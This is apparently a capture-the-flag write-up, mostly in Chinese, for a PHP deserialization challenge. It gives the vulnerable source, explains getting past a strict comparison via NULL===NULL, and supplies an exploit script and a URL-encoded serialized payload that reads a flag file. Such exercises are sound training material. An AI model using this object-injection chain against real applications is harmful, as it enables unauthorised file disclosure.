<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
打开后给出源码,显然考察反序列化。
前面都比较好直接构造,主要是如何绕过这里,因为这里不知道这个$heat等于多少
if($this->openstack->neutron === $this->openstack->nova)
这里可以使用NULL===NULL进行绕过
经过测试发现这里
$this->openstack = unserialize($this->docker);
当docker为空时,可以绕过。
测试如下:
<?php
error_reporting(0);
$b='';
var_dump(unserialize($b));
var_dump($b->a);
if($b->a===$b->b)
{
echo 'cool';
}
else echo 'nono';
?>
构造exp:
<?php
class acp
{
public $cinder;
public $neutron;
public $nova;
}
class ace
{
public $filename;
public $openstack;
public $docker;
}
$b=new acp;
$c=new ace;
$b->cinder=$c;
$c->docker='';
$c->filename='/flag.php';
echo urlencode(serialize($b));
payload:
?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A6%3A%22cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A0%3A%22%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
在源码发现flag
可以看到这里写出了heat值,而且比较复杂,所以我们真正意义上来比较heat的值来比较绕过是不现实的.